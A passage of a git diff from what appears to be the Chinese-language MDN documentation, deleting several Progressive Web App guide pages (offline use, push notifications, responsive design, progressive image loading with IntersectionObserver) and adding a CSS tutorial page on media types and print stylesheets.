当函数 loadImages 把地址从  data-src 移动到 src 上时,  imagesToLoad 变量包含了所有图片的链接。当每个图片都已经加载完成时,我们会把data-src 属性移除掉,因为这个时候已经没有任何用处了。我们对遍历了所有的图片来加载这些图片:

+ +
imagesToLoad.forEach((img) => {
+  loadImages(img);
+});
+ +

用CSS制造模糊

+ +

为了让整个过程在视觉上更加吸引人,图片占位符的样式用CSS做了模糊处理.

+ +

Screenshot of placeholder images in the js13kPWA app.

+ +

我们在开始时用模糊来渲染图像,因此可以实现一个从模糊到清晰图像的过渡效果:

+ +
article img[data-src] {
+  filter: blur(0.2em);
+}
+
+article img {
+  filter: blur(0em);
+  transition: filter 0.5s;
+}
+ +

这个样式会在半秒钟内移除模糊效果,它会让“加载”效果看起来更好看:

+ +

按需加载

+ +

上面讨论的图片加载机制工作得还不错——它在HTML文档加载完成之后再开始加载图片,并且在加载过程中还提供了一个很漂亮的过度效果。问题是它仍然一次性加载了所有的图片,即使网站加载完成后用户有可能只看前两张或者三张图片。

+ +

这个问题可以用新的 Intersection Observer API 来解决 —— 通过这个api我们可以确保只有当图片出现在可见区域时,它才会被加载。

+ +

Intersection Observer

+ +

这是对上面那个可以正常工作的例子提供的一个渐进增强功能 —— Intersection Observer 只有在用户向下滚动页面并且显示在屏幕上时,才会开始加载目标图片。

+ +

这里有相关的代码展示:

+ +
if('IntersectionObserver' in window) {
+  const observer = new IntersectionObserver((items, observer) => {
+    items.forEach((item) => {
+      if(item.isIntersecting) {
+        loadImages(item.target);
+        observer.unobserve(item.target);
+      }
+    });
+  });
+  imagesToLoad.forEach((img) => {
+    observer.observe(img);
+  });
+} else {
+  imagesToLoad.forEach((img) => {
+    loadImages(img);
+  });
+}
+ +

如果 {{domxref("IntersectionObserver")}}对象被浏览器所支持,app会对它新建一个实例。当一个或多个item(指的是监听的对象,例如一个img,译者注)跟观察者发生交互时(图片出现在视图中时),作为参数传递的函数可以用来处理一些回调事务(例如图片加载,译者注)。我们可以对每一个项目做一个迭代并对它们做出相应的处理——当图片可见时,我们开始加载真正的图片并且停止监听这张图片,因为图片加载完成之后,我们已经没有很必要再知道它的状态了。

+ +

让我们来重申一下我们之前提到的渐进增强 —— 代码这么写的好处在于,不管 Intersection Observer是否被当前浏览器支持,app都能够正常的工作。如果 Intersection Observer不被支持,我们会用上面提到的基础方法来实现图片的加载。

+ +

一些改进

+ +

记住,有很多的方法可以用来优化我们的加载时间,这个示例只探讨了其中的一种方法。你可以尝试让你的app变的更加健壮,通过让它在没有JavaScript的情况下也能工作 —— 通过使用 {{htmlelement("noscript")}} 标签来展示已经分配了最终 src 路径的图片,或者在 <img> 外面套上一个 {{htmlelement("a")}} 标签并指向对应的图片资源,当用户想要想要看的时候他们可以点击图片并访问他们。

+ +

我们并没有这么做因为这个app本身依赖于JavaScript —— 没有JavaScript游戏列表就无法加载,Service Worker相关的代码也将无法执行。

+ +

我们可以重写整个加载过程,让它不止加载图片,而是加载整个列表项,包括详细介绍和链接。工作起来它像一个无限滚动的页面——当用户往下滚动的时候开始加载新的项目。通过这个方法HTML页面体积会达到最小,加载时间可以更短,我们也可以从中获取到更大的性能优势。

+ +

结论

+ +

初始化时加载更少的文件,分拆成更小的模块,使用占位符以及按需加载更多的内容 —— 这会让我们获得更短的首次加载时间,它既能让app开发者受益,也能给用户提供更加丝滑的体验。

+ +

记住关于渐进增强的内容 —— 不管在任何硬件或平台都提供一个可用的产品,但在现代浏览器上面确保能提供更好的用户体验。

+ +

最后的思考

+ +

这就是这个系列的所有内容了 —— 我们通过  js13kPWA 示例应用的源码 学习了渐进式web 应用的的用法,包括了PWA介绍, PWA 结构, 通过Service Workers让PWA离线工作, 让PWA易于安装,以及最后的通知功能。在Service Worker Cookbook的帮助下我们还解释了推送的原理。而在本篇文章中,我们探讨了渐进式加载的概念,包括一个使用了 Intersection Observer API的有趣例子。

+ +

请随意试验这些代码,通过使用PWA的特性来让你现有的应用更加健壮,或者自己创建一些全新的东西。相对于常规的web应用,PWA存在巨大的优势。

+ +

{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}

+ +

{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}

diff --git a/files/zh-cn/web/progressive_web_apps/network_independent/index.html b/files/zh-cn/web/progressive_web_apps/network_independent/index.html deleted file mode 100644 index 4b8b532173..0000000000 --- a/files/zh-cn/web/progressive_web_apps/network_independent/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: 网络独立 -slug: Web/Progressive_web_apps/Network_independent -tags: - - Application Shell - - IndexedDB - - PWA - - Progressive web apps - - Service Workers - - Web Storage - - localStorage -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Network_independent ---- -
-
当网络不可靠,甚至不存在时,现代网络应用程序仍可以工作。没有更多的空白连接错误页面或恐龙穿过沙漠。除了离线高速缓存和服务工作者之外,UI和内容之间的一个明确的分隔可让您存储应用程序的数据和核心资产,以备将来使用。
- -
-
- -

The basic ideas behind network independence are to be able to:

- -
    -
  • Revisit a site and get its contents even if no network is available.
  • -
  • Browse any kind of content the user has previously visited at least once, even under situations of poor connectivity.
  • -
  • Control what is shown to the user in situations where there is no connectivity.
  • -
- -

核心指南

- -
-
Using service workers
-
A simple guide for those new to the Service Worker API.
-
Using IndexedDB
-
The basics of IndexedDB, explained in detail.
-
Using the Web Storage API
-
The Web storage API made simple.
-
Instant Loading Web Apps with An Application Shell Architecture
-
A guide to using the App Shell coding pattern to create apps that load quickly.
-
- -

技术

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
技术描述支持概览最新规范
Service workersJavaScript running in a special worker context that is run by the browser under certain circumstances such as fetch or push events. These allow the service worker to intercept responses and customise them in any way you want, for example caching assets for offline use before they are served.Experimental: Chrome and Firefox (more detail){{SpecName('Service Workers')}}
IndexedDBA transactional database system that allows complex client-side data storage to be controlled via JavaScript.Widespread across modern browsers (more detail){{SpecName('IndexedDB')}}
Web StorageA simple API for storing name-value pairs on the client-side.Widespread (more detail){{SpecName('Web Storage')}}
- -

工具

- -
-
localForage
-
A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default, and falls back to Web SQL/Web Storage if necessary.
-
ServiceWorkerWare
-
An Express-like microframework for easy Service Worker development.
-
oghliner
-
Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.
-
sw-precache
-
A node module to generate service worker code that will precache specific resources.
-
upup
-
A tiny script that makes sure your site is always there for your users.
-
- -

参见

- -
-
The service worker cookbook
-
A series of excellent service worker recipes, showing how to implement an offline app, but also much more.
-
diff --git a/files/zh-cn/web/progressive_web_apps/re-engageable/index.html b/files/zh-cn/web/progressive_web_apps/re-engageable/index.html deleted file mode 100644 index 0ff507d2e6..0000000000 --- a/files/zh-cn/web/progressive_web_apps/re-engageable/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Re-engageable -slug: Web/Progressive_web_apps/Re-engageable -tags: - - Modern web apps - - Notifications API - - Progressive web apps - - Push API - - Service Workers -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Re-engageable ---- -
-
原生平台一个主要优势是,用户可以轻松通过更新或加载新内容,即使用户没有正在查看应用程序或者使用他们的设备。现在的Web应用程序现在也可以使用Web Push API等技术实现这样的功能。
- -
-
- -

核心指南

- -
-
Using service workers
-
A simple guide for those new to the Service Worker API.
-
Using the Push API
-
Learn the essentials behind the Web Push API.
-
Using the Notifications API
-
Web notifications in a nutshell.
-
- -

技术

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
技术描述浏览器支持最新规范
Service workersJavaScript running in a special worker context that is run by the browser under certain circumstances such as fetch or push events. These allow the service worker to intercept responses and customise them in any way you want, for example caching assets for offline use before they are served.Experimental: Chrome and Firefox (more detail){{SpecName('Service Workers')}}
Push APIWhen subscribed to, the push service provides an endpoint that can be used by a server to send a push message to a web app under the control of a particular service worker.Experimental: chrome and Firefox (more detail){{SpecName("Push API")}}
Notifications APIFires system notifications directly from web applications.Widespreadin modern browsers (more detail){{SpecName('Web Notifications')}}
- -

工具

- -
-
ServiceWorkerWare
-
An Express-like microframework for easy Service Worker development.
-
oghliner
-
Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.
-
sw-precache
-
A node module to generate service worker code that will precache specific resources.
-
- -

参见

- -
-
The service worker cookbook
-
A series of excellent service worker recipes, showing how to implement an offline app, but also much more.
-
diff --git a/files/zh-cn/web/progressive_web_apps/responsive/index.html b/files/zh-cn/web/progressive_web_apps/responsive/index.html deleted file mode 100644 index 3177fc1c29..0000000000 --- a/files/zh-cn/web/progressive_web_apps/responsive/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Responsive design -slug: Web/Progressive_web_apps/Responsive -tags: - - Media Queries - - PWA - - Progressive web apps - - Responsive web design - - viewport -translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -translation_of_original: Web/Progressive_web_apps/Responsive ---- -
-
响应式Web应用使用媒体查询和viewport等技术,以确保它们的页面适配任何设备,比如:桌面、移动手机、平板,或者其他新的设备。
- -
-
- -

核心指南

- -
-
The building blocks of responsive design
-
Learn the basics of responsive design, an essential topic for modern app layout.
-
Mobile first
-
Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.
-
- -

技术

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TechnologyDescriptionSupport summaryLatest spec
Media queriesDefines expressions allowing styling to be selectively applied to content depending on viewport size, resolution, orientation, etc.Widespread across modern browsers (more detail)Media Queries Level 4
@viewport/viewport meta tagControls viewport settings, primarily on mobile devices.@viewport: Experimental (more detail)
- Viewport meta tag: Widespread across modern mobile devices
CSS Device Adaptation Module Level 1
FlexboxA very useful CSS feature for creating flexible, responsive layouts.Widespread across modern browsers (more detail)CSS Flexible Box Layout Module Level 1
- -

工具

- -
-
Modernizr
-
A feature detection library for applying different CSS and JS to your page depending on whether certain CSS/JS features are supported.
-
css3-mediaqueries-js
-
A JavaScript polyfill to add Media Query support to old versions of IE (5+.)
-
- -

参见

- -
-
Graphics for responsive sites
-
Ideas to keep in mind when designing graphics for responsive sites and applications.
-
Responsive navigation patterns
-
How do you make a UI that looks and works as great on a smartphone as it does on the desktop? Learn how to design UIs that change to fit your user's screen.
-
diff --git a/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html new file mode 100644 index 0000000000..ef181eedcc --- /dev/null +++ b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html @@ -0,0 +1,391 @@ +--- +title: 媒体 +slug: Web/Guide/CSS/Getting_started/Media +translation_of: Web/Progressive_web_apps/Responsive/Media_types +--- +

{{CSSTutorialTOC}} {{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Tables", "表格")}}

+ +

本章节是 CSS入门教程 指南的第14章也是最后一部分。 这本指南主要描述了用来展示文档的CSS的属性及其值,本章节依旧着眼于这个目标,同时也会介绍CSS样式表的结构。

+ +

信息: Media

+ +

CSS的作用是将网页文档以更友好的展现方式呈现给用户。

+ +

例如,假设你现在正用一台显示设备来阅读这篇文章,同时你也想把它投影到屏幕上,或者打印出来,而显示设备、屏幕投影和打印等这些媒介都有自己的特点,CSS就是为文档提供在不同媒介上展示的适配方法。

+ +

CSS通过使用{{CSSXref("@media")}} 的格式来对特定的媒介指定适配规则。

+ +
+
示例
+ +

我们的站点上有一个导航区域允许用户浏览。

+ +

在标签语言中,导航区域父元素的id是 nav-area.(在 {{HTMLVersionInline(5)}}中, 可以使用 {{HTMLElement("nav")}} 元素代替带有id属性的 {{HTMLElement("div")}}。)

+ +

为了网页在被打印的时候去掉无用的信息,我们在样式表中加一条适配规则,使导航区域在打印时是被隐藏起来的:

+ +
@media print {
+  #nav-area {display: none;}
+  }
+
+
+ +

一些常见的媒介类型:

+ + + + + + + + + + + + + + + + + + + + +
screen彩色计算机显示
print打印(分页式媒体)
projection投影
all所有媒体 (默认)
+ +
+
更多
+ +

一些其他指定媒介类型的规则。

+ +

类型可以在样式表通过link方式加到文档时被指定,这是文档的标签语言允许的 。例如,在HTML中,你可以通过在 LINK 标签上添加media属性来指定媒介类型。

+ +

在CSS中,你可以在样式表开头使用 {{CSSXref("@import")}} 一个url来引入另外的样式表,同时指定其媒介类型。

+ +

根据这些知识,你可以区分在不同的文件中定义不同媒介的样式规则。有时这也是结构化样式表的好方法。

+ +

想获取媒介类型更多细节,请参考CSS规范中的 Media 部分。

+ +

接下来将介绍更多 {{cssxref("display")}} 属性的例子: XML data.

+
+ +

打印

+ +

CSS有一些特性能够支持打印和分页媒体。

+ +

 {{cssxref("@page")}} 规则能够设置页间距,对于双面打印,还可以分开设置 @page:left 和 @page:right。

+ +

对于打印媒介,可以使用适当的长度单位,像是英寸(in)、点(1pt = 1/72 inch)、厘米(cm)还有毫米(mm)。这等同于使用em来配合字体大小和百分比。

+ +

可以通过使用 {{cssxref("page-break-before")}}, {{cssxref("page-break-after")}} 和 {{cssxref("page-break-inside")}} 属性来控制文档内容的分页边界。

+ +
+
示例
+ +

这个规则把四个方向的页边距都设置为1 inch:

+ +
@page {margin: 1in;} 
+ +

这个规则确保每个H1元素都从新的一页开始:

+ +
h1 {page-break-before: always;}
+
+
+ +
+
更多细节
+ +

想获取更多细节,请参考CSS规范中的 Paged media 部分。

+ +

像CSS的其他特性一样,打印也依赖于你的浏览器及其设置。例如,在打印的时候Mozilla浏览器支持默认的间距,页眉和页脚。而当其他用户打印你的文档时,你无法预知他会使用的什么样的浏览器和设置,因此你也不能完全控制打印情况。

+
+ +

用户界面

+ +

CSS有一些特殊的属性能够支持设备的用户界面,像电脑显示器。这使得文档的展示随着用户界面的情况而动态地变化。

+ +

并没有针对用户界面设备的特殊媒介类型。

+ +

下面有五种特殊的选择器:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SelectorSelects
E{{cssxref(":hover")}}当鼠标悬浮任何E元素上
E{{cssxref(":focus")}}当元素获得键盘焦点
E{{cssxref(":active")}}当元素是当前的活动元素
E{{cssxref(":link")}}当元素超链接到一个url但是用户还没有访问过
E{{cssxref(":visited")}}当元素超链接到一个url但是用户已经访问过
+ +
+

注意: 在 {{gecko("2.0")}} 中可获得的 :visited 选择器信息是有限的。更过细节请参照 Privacy and the :visited selector 。

+
+ +

 {{cssxref("cursor")}} 属性指定鼠标的形状:一些常见的形状如下表所示。把你的鼠标放在列表的选项上来看浏览器中实际显示的鼠标形状:

+ + + + + + + + + + + + + + + + + + + + + + + + +
SelectorSelects
pointer指示超链接
wait表明程序无法接受输入
progress表明程序正在运行,但是仍可以接受输入
default默认(通常是箭头)
+ +

 {{cssxref("outline")}} 属性通过创建轮廓来表明获得键盘焦点。只有在父元素使用 relative, fixed or absolute 时才有效。你可以为任何父元素指定 position: relative;因为它不会产生移动。
+ 它的作用相当于 {{cssxref("border")}} 属性,但与其不同的是它不能指明个别方向。

+ +

一些其他的用户界面特性通常会通过属性来应用。例如,禁用或者只读的元素可以设置 disabled 属性和 readonly 属性。选择器可以通过方括: {{mediawiki.external('disabled')}} 或者 {{mediawiki.external('readonly')}}来指定这些属性。

+ +
+
示例
+ +

这些规则规定了按钮在用户使用时动态变化的样式:

+ +
.green-button {
+  background-color:#cec;
+  color:#black;
+  border:2px outset #cec;
+  }
+
+.green-button[disabled] {
+  background-color:#cdc;
+  color:#777;
+  }
+
+.green-button:active {
+  border-style: inset;
+  } 
+ +

这个wiki不支持页面上的用户界面,所以这些按钮不能点击。下面用一些静态图片来举例说明:

+ + + + + + + +
+ + + + + + + + + + + + + + + + +
Click MeClick MeClick Me
 
disablednormalactive
+
+ +

当一个功能性按钮初始化的时候,它的周围会围绕着一条黑色的轮廓。当它获取键盘焦点时,从表面上看有一条虚线轮廓。同时当鼠标悬浮在它上面时也有一些悬浮效果。

+
+ +
+
更多
+ +

获取更多关于CSS用户界面的信息,请参考CSS规范中的 User interface 部分。

+ +

本文的第二部分列举了Mozilla的用户界面标签语言的例子,XUL。

+
+ +

实践: 打印文档

+ +
    +
  1. 创建一个新的HTML文档, doc4.html. 把下面的HTML代码粘贴过去: + +
    <!DOCTYPE html>
    +<html>
    +  <head>
    +    <title>Print sample</title>
    +    <link rel="stylesheet" href="style4.css">
    +  </head>
    +  <body>
    +    <h1>Section A</h1>
    +    <p>This is the first section...</p>
    +    <h1>Section B</h1>
    +    <p>This is the second section...</p>
    +    <div id="print-head">
    +      Heading for paged media
    +    </div>
    +    <div id="print-foot">
    +      Page:
    +    </div>
    +</body>
    +</html>
    +
    +
  2. +
  3. 创建一个新的样式表, style4.css. 把下面的HTML代码粘贴过去: +
    /*** Print sample ***/
    +
    +/* defaults  for screen */
    +#print-head,
    +#print-foot {
    +  display: none;
    +  }
    +
    +/* print only */
    +@media print {
    +
    +h1 {
    +  page-break-before: always;
    +  padding-top: 2em;
    +  }
    +
    +h1:first-child {
    +  page-break-before: avoid;
    +  counter-reset: page;
    +  }
    +
    +#print-head {
    +  display: block;
    +  position: fixed;
    +  top: 0pt;
    +  left:0pt;
    +  right: 0pt;
    +
    +  font-size: 200%;
    +  text-align: center;
    +  }
    +
    +#print-foot {
    +  display: block;
    +  position: fixed;
    +  bottom: 0pt;
    +  right: 0pt;
    +
    +  font-size: 200%;
    +  }
    +
    +#print-foot:after {
    +  content: counter(page);
    +  counter-increment: page;
    +  }
    +
    +} /* end print only */
    +
    +
  4. +
  5. 在浏览器中查看文档,你会看到它使用的是默认样式。
  6. +
  7. 打印(或者打印预览)文档;样式表的适配规则开始起作用,同时会显示每个页面的页眉和页脚,如果浏览器支持记数器,页码也会被显示出来。 + + + + + + + +
    + + + + + + +
    + + + + + + +
    +
    Heading for paged media
    + +
    Section A
    + +
    This is the first section...
    + +
    Page: 1
    +
    +
    +
    + + + + + + +
    + + + + + + +
    +
    Heading for paged media
    + +
    Section B
    + +
    This is the second section...
    + +
    Page: 2
    +
    +
    +
    +
  8. +
+ + + + + + + + +
挑战
把指定打印样式的规则转移到单独的CSS文件。 +

学习 {{CSSXref("@import")}} 了解如何将新的指定打印 CSS 文件引用到 style4.css 样式表里去。

+ +

当鼠标放在标题时,改变颜色为蓝色。

+
+ +

查看这些挑战的解决方案。

+ +

接下来?

+ +

如果你还是很难理解这个章节,或者你对它有一些意见或者建议,请在 讨论区 中不吝赐教。

+ +

目前,本文所有的样式规则都可以在文件里面规定。这些规则及其值均是固定的。下面的篇章将会描述该如何使用程序语言 JavaScript 来动态地改变规则。

diff --git "a/files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" "b/files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" deleted file mode 100644 index 809b1edb38..0000000000 --- "a/files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: 渐进式webApp优势 -slug: Web/Progressive_web_apps/优势 -translation_of: Web/Progressive_web_apps/Introduction#Advantages_of_web_applications -translation_of_original: Web/Progressive_web_apps/Advantages ---- -

以下是渐进式webApp所有的优势清单

- -

Discoverable

- -

The eventual aim is that web apps should have better representation in search engines, be easier to expose, catalog and rank, and have metadata usable by browsers to give them special capabilities.

- -

Some of the capabilities have already been enabled on certain web-based platforms by proprietary technologies like Open Graph, which provides a format for specifying similar metadata in the HTML <head> using meta tags.

- -

The relevant web standard here is the Web app manifest, which defines features of an app such as name, icon, splash screen, and theme colors in a JSON-formatted manifest file. This is for use in contexts such as app listings and device home screens.

- -
    -
- -

Installable

- -

A core part of the apps experience is for users to have app icons on their home screen, and be able to tap to open apps into their own native container that feels nicely integrated with the underlying platform.

- -

Modern web apps can have this native app feel via properties set inside the Web app manifest, and via a feature available in modern smartphone browsers called Add to home screen.

- -

Linkable

- -

One of the most powerful features of the Web is to be able to link to an app at a specific URL — no app store needed, no complex installation process. This is how it has always been.

- -

Network independent

- -

Modern web apps can work when the network is unreliable, or even non-existent. The basic ideas behind network independence are to be able to:

- -
    -
  • Revisit a site and get its contents even if no network is available.
  • -
  • Browse any kind of content the user has previously visited at least once, even under situations of poor connectivity.
  • -
  • Control what is shown to the user in situations where there is no connectivity.
  • -
- -

This is achieved by a combination of technologies — Service Workers to control page requests (for example storing them offline), the Cache API for storing responses to network requests offline (very useful for storing site assets), and client-side data storage technologies such as Web Storage and IndexedDB to store application data offline.

- -

Progressive

- -

Modern web apps can be developed to provide a super cool experience to fully capable browsers, and an acceptable (although not quite as shiny) experience to less capable browsers. We've been doing this for years with best practices such as progressive enhancement.

- -

Re-engageable

- -

One major advantage of native platforms is the ease with which users can be re-engaged by updates and new content, even when they aren't looking at the app or using their devices. Modern web apps can now do this too, using new technologies such as Service Workers for controlling pages, the Web Push API for sending updates straight from server to app via a service worker, and the Notifications API for generating system notifications to help engage users when they're not in the browser.

- -

Responsive

- -

Responsive web apps use technologies like media queries and viewport to make sure that their UIs will fit any form factor: desktop, mobile, tablet, or whatever comes next.

- -

Safe

- -

The web platform provides a secure delivery mechanism that prevents snooping and ensures content hasn’t been tampered with — as long as you take advantage of HTTPS and develop your apps with security in mind. In addition, you can verify the true nature of a PWA by confirming that it is at the correct URL, whereas apps in apps stores can often look like one thing, but be another (example).

- -

 

diff --git "a/files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" "b/files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" deleted file mode 100644 index 7f45a3c278..0000000000 --- "a/files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: 渐进式加载 -slug: Web/Progressive_web_apps/加载 -tags: - - PWA - - 渐进式加载 -translation_of: Web/Progressive_web_apps/Loading ---- -
{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}
- -

在前面的文章我们介绍了很多api,例如:Service Workers, Web Manifests, Notifications and Push,它让我们的示例应用 js13kPWA 成为一个渐进式web应用。在这篇文章里我们将会走得更远,我们会使用资源渐进式加载来提高整个应用的性能。

- -

首次有效渲染

- -

尽快把有效的信息输送给用户是一件非常重要的事情 —— 等待页面加载的时间越长,用户在页面加载完成之前离开的概率就越大。为了达到这个目的,网页加载完成前,我们应该用占位符在最终资源将会加载的地方展示最起码的视图骨架。

- -

这个功能可以用渐进式加载来实现 —— 它也被称为 懒加载。它的做法是延迟加载尽可能多的资源(HTML, CSS, JavaScript),只有在用户第一次使用到它的时候,它才会被立刻加载。

- -

打包还是拆分

- -

大部分的用户不会用到一个网站的所有页面,但我们通常的做法却是把我们所有的功能都打包进一个很大的文件里面。一个 bundle.js 文件的大小可能会有几个M,一个打包后的style.css 会包含一切东西,从CSS结构定义到各个版本的网站的样式:移动端,平板,桌面,打印等等。

- -

通常来说只加载一个打包后大的文件会比加载很多个小文件要快一些,但如果用户并不是一开始就需要所有的资源,我们就可以首先加载那些关键的资源,其他的等到我们需要的时候,我们再去加载它。

- -

导致页面阻塞的资源(Render-blocking resources)

- -

将所有文件打包是一种不好的做法,因为浏览器把计算结果渲染到屏幕之前,需要先把HTML,CSS和JavaScript下载下来。在页面被打开到页面加载完成的这段时间里,用户将会看到一个空白的页面,这无疑是一个非常糟糕的体验。

- -

为了解决这个问题,举个例子,我们可以在script标签上面加上一个 defer

- -
<script src="app.js" defer></script>
-
- -

他们会等到文档解析完成之后再开始下载和执行,所以他们不会阻塞HTML页面的渲染。我们还可以拆分css文件并给它们加上media属性:

- -
<link rel="stylesheet" href="style.css">
-<link rel="stylesheet" href="print.css" media="print">
-
- -

 这种做法告诉浏览器只有在条件满足的情况下才加载这些资源(例如指定了print,则在打印环境下才会加载这些资源,译者注)。

- -

在我们这个js13kPWA应用里面,由于CSS非常的简单,因此所有样式都被放到一个文件里面,并没有具体的规则来指导它如何加载css。但我们可以做得更好,例如把 style.css 里面的所有内容移动到一个 <style> 标签里面,并把它放到 index.html  的 <head> 的里面。这样做可以进一步提高应用的性能,但为了使代码更具可读性,我们并没有选择这么做。

- -

图片

- -

除了JavaScript和CSS,网站通常还会包含大量的图片。当你把{{htmlelement("img")}}元素添加到网站里面时,对应的所有图片资源都会在页面初始化时被下载下来。在网站就绪之前下载几个兆的图片资源是一种比较常见的状况,但它会再次给人一种性能不好的印象。我们并不需要在一打开网站的时候就以最高的画质呈现所有的图片。

- -

这是可以优化的。首先,你可以使用类似TinyPNG这类工具或者服务,它可以在不过分降低画质的情况下压缩文件的大小。如果你已经做到了这一点,那你可以考虑一下如何通过JavaScript来优化图片的下载了,我们将会在下面的篇幅提到这些内容。

- -

图片占位符

- -

我们可以通过使用JavaScript有选择的加载图片,而不是把所有的游戏截图都放到 <img> 标签的 src 属性里面,因为那样浏览器会自动下载所有的图片。 js13kPWA示例在图片最终加载之前会将图片的最终路径存放到 data-src 中,在这个阶段,应用会使用图片占位符来代替真正的图片,它体积更小更轻量级(加载也更快,译者注)。

- -
<img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'>
-
- -

这些图片会在网站构建完HTML主体框架之后通过JavaScript进行加载。图片占位符被缩放到和真正的图片一样大小,所以它会占据同样的空间,并且在真正的图片完成加载后不会导致页面重绘。

- -

通过JavaScript进行加载

- -

app.js 这个文件处理 data-src 属性的过程如下所示:

- -
let imagesToLoad = document.querySelectorAll('img[data-src]');
-const loadImages = (image) => {
-  image.setAttribute('src', image.getAttribute('data-src'));
-  image.onload = () => {
-    image.removeAttribute('data-src');
-  };
-};
- -

当函数 loadImages 把地址从  data-src 移动到 src 上时,  imagesToLoad 变量包含了所有图片的链接。当每个图片都已经加载完成时,我们会把data-src 属性移除掉,因为这个时候已经没有任何用处了。我们对遍历了所有的图片来加载这些图片:

- -
imagesToLoad.forEach((img) => {
-  loadImages(img);
-});
- -

用CSS制造模糊

- -

为了让整个过程在视觉上更加吸引人,图片占位符的样式用CSS做了模糊处理.

- -

Screenshot of placeholder images in the js13kPWA app.

- -

我们在开始时用模糊来渲染图像,因此可以实现一个从模糊到清晰图像的过渡效果:

- -
article img[data-src] {
-  filter: blur(0.2em);
-}
-
-article img {
-  filter: blur(0em);
-  transition: filter 0.5s;
-}
- -

这个样式会在半秒钟内移除模糊效果,它会让“加载”效果看起来更好看:

- -

按需加载

- -

上面讨论的图片加载机制工作得还不错——它在HTML文档加载完成之后再开始加载图片,并且在加载过程中还提供了一个很漂亮的过度效果。问题是它仍然一次性加载了所有的图片,即使网站加载完成后用户有可能只看前两张或者三张图片。

- -

这个问题可以用新的 Intersection Observer API 来解决 —— 通过这个api我们可以确保只有当图片出现在可见区域时,它才会被加载。

- -

Intersection Observer

- -

这是对上面那个可以正常工作的例子提供的一个渐进增强功能 —— Intersection Observer 只有在用户向下滚动页面并且显示在屏幕上时,才会开始加载目标图片。

- -

这里有相关的代码展示:

- -
if('IntersectionObserver' in window) {
-  const observer = new IntersectionObserver((items, observer) => {
-    items.forEach((item) => {
-      if(item.isIntersecting) {
-        loadImages(item.target);
-        observer.unobserve(item.target);
-      }
-    });
-  });
-  imagesToLoad.forEach((img) => {
-    observer.observe(img);
-  });
-} else {
-  imagesToLoad.forEach((img) => {
-    loadImages(img);
-  });
-}
- -

如果 {{domxref("IntersectionObserver")}}对象被浏览器所支持,app会对它新建一个实例。当一个或多个item(指的是监听的对象,例如一个img,译者注)跟观察者发生交互时(图片出现在视图中时),作为参数传递的函数可以用来处理一些回调事务(例如图片加载,译者注)。我们可以对每一个项目做一个迭代并对它们做出相应的处理——当图片可见时,我们开始加载真正的图片并且停止监听这张图片,因为图片加载完成之后,我们已经没有很必要再知道它的状态了。

- -

让我们来重申一下我们之前提到的渐进增强 —— 代码这么写的好处在于,不管 Intersection Observer是否被当前浏览器支持,app都能够正常的工作。如果 Intersection Observer不被支持,我们会用上面提到的基础方法来实现图片的加载。

- -

一些改进

- -

记住,有很多的方法可以用来优化我们的加载时间,这个示例只探讨了其中的一种方法。你可以尝试让你的app变的更加健壮,通过让它在没有JavaScript的情况下也能工作 —— 通过使用 {{htmlelement("noscript")}} 标签来展示已经分配了最终 src 路径的图片,或者在 <img> 外面套上一个 {{htmlelement("a")}} 标签并指向对应的图片资源,当用户想要想要看的时候他们可以点击图片并访问他们。

- -

我们并没有这么做因为这个app本身依赖于JavaScript —— 没有JavaScript游戏列表就无法加载,Service Worker相关的代码也将无法执行。

- -

我们可以重写整个加载过程,让它不止加载图片,而是加载整个列表项,包括详细介绍和链接。工作起来它像一个无限滚动的页面——当用户往下滚动的时候开始加载新的项目。通过这个方法HTML页面体积会达到最小,加载时间可以更短,我们也可以从中获取到更大的性能优势。

- -

结论

- -

初始化时加载更少的文件,分拆成更小的模块,使用占位符以及按需加载更多的内容 —— 这会让我们获得更短的首次加载时间,它既能让app开发者受益,也能给用户提供更加丝滑的体验。

- -

记住关于渐进增强的内容 —— 不管在任何硬件或平台都提供一个可用的产品,但在现代浏览器上面确保能提供更好的用户体验。

- -

最后的思考

- -

这就是这个系列的所有内容了 —— 我们通过  js13kPWA 示例应用的源码 学习了渐进式web 应用的的用法,包括了PWA介绍, PWA 结构, 通过Service Workers让PWA离线工作, 让PWA易于安装,以及最后的通知功能。在Service Worker Cookbook的帮助下我们还解释了推送的原理。而在本篇文章中,我们探讨了渐进式加载的概念,包括一个使用了 Intersection Observer API的有趣例子。

- -

请随意试验这些代码,通过使用PWA的特性来让你现有的应用更加健壮,或者自己创建一些全新的东西。相对于常规的web应用,PWA存在巨大的优势。

- -

{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}

- -

{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}

